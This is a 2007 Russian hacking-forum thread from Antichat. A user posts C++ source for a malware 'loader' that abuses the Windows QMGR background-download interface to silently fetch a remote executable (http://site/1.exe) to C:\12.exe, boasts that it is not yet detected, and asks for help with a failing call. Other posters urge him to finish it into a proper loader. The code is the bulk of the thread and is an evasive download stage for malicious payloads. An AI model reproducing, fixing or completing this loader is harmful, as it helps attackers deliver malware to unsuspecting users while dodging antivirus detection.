Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   loader через QMGR интерфейс (https://forum.antichat.xyz/showthread.php?t=49242)

Ky3bMu4 17.09.2007 14:46

loader через QMGR интерфейс
 
Помоему этого ещё никто не делал. :) Вот вроде написал, только gr->ResumeGroup() не хочет S_OK возвращать.А так всё остальное ок и вроде как ещё ничем не палится(если бы палилось, то уже начало бы) .Помогите понять что нитак:
Код:

#define _WIN32_WINNT  0x0500
#include "QMGR.h"
#define UNICODE
#pragma comment(linker,"/ENTRY:WinMain")
#pragma comment(linker,"/SECTION:.text,EWR")
int APIENTRY WinMain(HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPTSTR    lpCmdLine,
                    int      nCmdShow)
{
IBackgroundCopyQMgr* man=NULL;
IBackgroundCopyGroup* gr=NULL;
IBackgroundCopyJob1 * jb=(IBackgroundCopyJob1 *)GlobalAlloc(NULL,sizeof(IBackgroundCopyJob1));
FILESETINFO* file=(FILESETINFO*)GlobalAlloc(NULL,sizeof(FILESETINFO));
GUID grID,jbID;
VARIANT* pv=(VARIANT*)GlobalAlloc(NULL,sizeof(VARIANT*));
CoCreateGuid(&grID);
CoCreateGuid(&jbID);
BSTR local = BSTR("C:\\12.exe");
BSTR rem = BSTR("http://site/1.exe");
file->bstrLocalFile=local;
file->bstrRemoteFile=rem;
file->dwSizeHint=10000;
HRESULT h= CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
if(SUCCEEDED(h)){
h=CoCreateInstance(__uuidof(BackgroundCopyQMgr), NULL,
                        CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER|CLSCTX_LOCAL_SERVER,
                        __uuidof(IBackgroundCopyQMgr),
                        (void**) &man);
 if(SUCCEEDED(h)){
        if(man->CreateGroup(grID,&gr)!=S_OK){
                MessageBoxA(0,"CrGr","Error!",0);
                ExitProcess(0);
        }
 gr->SetPropA(GROUPPROP_PRIORITY,(VARIANT*)1);
          gr->SetPropA(GROUPPROP_PROTOCOLFLAGS ,(VARIANT*)QM_PROTOCOL_HTTP );
          gr->SetPropA(GROUPPROP_NOTIFYFLAGS ,(VARIANT*)QM_NOTIFY_DISABLE_NOTIFY);
            gr->SetPropA(GROUPPROP_NOTIFYCLSID,(VARIANT*)"1");
                gr->SetPropA(GROUPPROP_DISPLAYNAME,(VARIANT*)"123");
                  gr->SetPropA(GROUPPROP_DESCRIPTION,(VARIANT*)"2");

                  gr->SetPropA(GROUPPROP_REMOTEUSERID,(VARIANT*)NULL);
                    gr->SetPropA(GROUPPROP_REMOTEUSERPWD ,(VARIANT*)NULL);
                        gr->SetPropA(GROUPPROP_LOCALUSERID,(VARIANT*)NULL);
                          gr->SetPropA(GROUPPROP_LOCALUSERPWD,(VARIANT*)NULL);
                          gr->SetPropA(GROUPPROP_PROGRESSSIZE ,(VARIANT*)NULL);
                            gr->SetPropA(GROUPPROP_PROGRESSPERCENT ,(VARIANT*)NULL);
                                gr->SetPropA(GROUPPROP_PROGRESSTIME,(VARIANT*)NULL);
        if(gr->CreateJob(jbID,&jb)!=S_OK){
                MessageBoxA(0,"CrJb","Error!",0);
                ExitProcess(0);
        }
        if(jb->AddFiles(0,&file)!=S_OK){
                MessageBoxA(0,"AddFiles","Error!",0);
                ExitProcess(0);
        }
        if(gr->ResumeGroup()!=S_OK){
                  MessageBoxA(0,"Resume","Error!",0);
                ExitProcess(0);
        }
       
Sleep(10000); //ламо было заниматься получение статуса и т.д.

}
}
jb->Release();
gr->CancelGroup();

ExitProcess(0);
}

Вот ссылка на msdn: http://msdn2.microsoft.com/en-us/library/aa363139.aspx

KEZ 17.09.2007 15:18

> Помоему этого ещё никто не делал

конечно не делал, приватный способ имхо!

Ky3bMu4 17.09.2007 15:29

Цитата:

> Помоему этого ещё никто не делал

конечно не делал, приватный способ имхо!
Ну раз так...
Цитата:

ставьте плюсики я герой!!!!!!!!!!!

Ni0x 17.09.2007 16:24

>>Помоему этого ещё никто не делал.
Цитата:

QMGR Interfaces

[Queue Manager (QMGR) interfaces are available for use in the operating systems listed in the Requirements section. They may be altered or unavailable in subsequent versions. Use the BITS interfaces instead.]
Давай чтонибудь поновее релизь.

n0153r 17.09.2007 16:34

Герой :) Ловим +1 в репу.
Но давай организуй норм лодер :)
Нужно доводить релиз до норм вида.


Время: 14:29